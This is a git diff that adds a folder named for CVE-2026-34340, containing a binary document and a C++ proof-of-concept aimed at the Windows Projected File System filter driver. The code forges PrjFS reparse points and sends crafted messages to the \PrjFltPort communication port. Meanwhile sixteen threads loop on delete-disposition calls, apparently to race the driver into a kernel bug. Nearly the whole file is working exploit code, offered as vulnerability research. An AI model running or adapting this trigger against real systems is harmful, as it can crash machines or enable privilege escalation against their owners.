diff --git a/CVE-2026-34340/PrjFlt10.docx b/CVE-2026-34340/PrjFlt10.docx new file mode 100644 index 0000000..111d510 Binary files /dev/null and b/CVE-2026-34340/PrjFlt10.docx differ diff --git a/CVE-2026-34340/PrjFltTest10.cpp b/CVE-2026-34340/PrjFltTest10.cpp new file mode 100644 index 0000000..5706650 --- /dev/null +++ b/CVE-2026-34340/PrjFltTest10.cpp @@ -0,0 +1,805 @@ + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; +HANDLE ghPort = 0; + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + const wchar_t* PrjRootName = LR"(c:\PrjTest)"; + CreateDirectoryW(PrjRootName, nullptr); + + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + DeleteFileW(rootName); + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //printf("PrjGetEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + printf("PrjGetPlaceholderInfoCallback\n"); + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + printf("PrjGetFileDataCallback\n"); + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + printf("PrjQueryFileNameCallback\n"); + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + printf("PrjNotificationCallback\n"); + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + ReparseData->dwFlags = dwFlags; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + ghPort = hPort; + +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + + +struct _PRJ_VIR_INSTANCE_INFO +{ + GUID virtualizationInstanceID; + int Tag; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA +{ + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + UUID FileId; + +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; +}; + +GUID GetInstanceId() { + GUID InstanceId = { 0 }; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + + return InstanceId; + } + InstanceId = InstanceInfo.InstanceID; + + return InstanceId; +} + +void PrjCloseFileHandler(HANDLE hPort, UUID FileId) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 0xa; + Message.Header.InputBufferSize = sizeof(Message); + + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.FileId = FileId; + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + + return; +} + + + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +LONG DeleteDirectory(LPCWSTR szDir) +{ + SHFILEOPSTRUCTW fos = { 0 }; + + // delete the folder and everything inside + fos.wFunc = FO_DELETE; + fos.pFrom = szDir; + fos.fFlags = FOF_NO_UI; + return SHFileOperation(&fos); +} + + +struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + PRJ_UPDATE_TYPES InfoType; + ULONG RelPathOffset; + USHORT RelPathLength; + WCHAR RelBuffer[MAX_PATH + 1]; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; + UUID FileId; +}; + +UUID PrjDeleteFileHandler(HANDLE hPort) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 0x12; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA); + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.InfoType = PRJ_UPDATE_ALLOW_DIRTY_DATA | PRJ_UPDATE_ALLOW_DIRTY_METADATA | PRJ_UPDATE_ALLOW_TOMBSTONE; + Message.Data.RelPathOffset = 0x62; + Message.Data.RelPathLength = MAX_PATH; + wcscpy_s(Message.Data.RelBuffer, L"aa\\bb"); + //wcscpy_s(Message.Data.RelBuffer, L"New folder (2)"); + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + //printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + //OLECHAR* guidString; + //StringFromCLSID(pOutData->FileId, &guidString); + //wprintf(L"FileId: %s\n", guidString); + + return pOutData->FileId; +} + +HANDLE OpenFolder(LPCWSTR lpcwFileName) { + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = 0x4021u; + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + + int Status = NtOpenFile(&FileHandle, 0x110080u, &ObjectAttributes, &IoStatusBlock, 7u, 0x204001u); + + return FileHandle; +} + + +DWORD WINAPI Worker1(LPVOID lpParameter) { + + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + + while (1) { + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + PrjDeleteFileHandler(ghPort); + Sleep(1); + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + + //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc12", ReparseData, Length, 0x9000001C, false); + + //MoveFileExW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", MOVEFILE_REPLACE_EXISTING); + } + + return 0; +} + +DWORD WINAPI Worker2(LPVOID lpParameter) { + + HANDLE hFolder = OpenFolder(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb"); + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + FILE_DISPOSITION_INFORMATION FileDispositionInfo = { 0 }; + + FileDispositionInfo.DeleteFile = 1; + + while (1) { + NtSetInformationFile(hFolder, &IoStatusBlock, &FileDispositionInfo, 1u, FileDispositionInformation); + } + + + + return 0; +} + +void Trigger() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + + //DeleteDirectory(L"c:\\PrjTest\\virtRoot\\aa\\bb"); + + CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa", NULL); + + //CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa\\bb2", NULL); + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + + hr = PrjMarkDirectoryAsPlaceholder(L"c:\\PrjTest\\virtroot", + L"c:\\PrjTest\\virtroot\\aa\\bb", + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + } + + DeleteFileW(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1"); + + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + CloseHandle(FileHandle); + + //hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc2", ReparseData, Length, 0xA0000022, false); + CloseHandle(FileHandle); + + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc4", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + CreateThread(NULL, 0, Worker1, NULL, 0, NULL); + Sleep(3000); + + for (int i = 0; i < 16; ++i) { + CreateThread(NULL, 0, Worker2, NULL, 0, NULL); + } + + + + Sleep(-1); +} + +void Main() +{ + + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + Trigger(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + Main(); + //getchar(); + + return 0; +} + + +int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PWSTR szCmdLine, int iCmdShow) +{ + return wmain(__argc, __wargv); +} \ No newline at end of file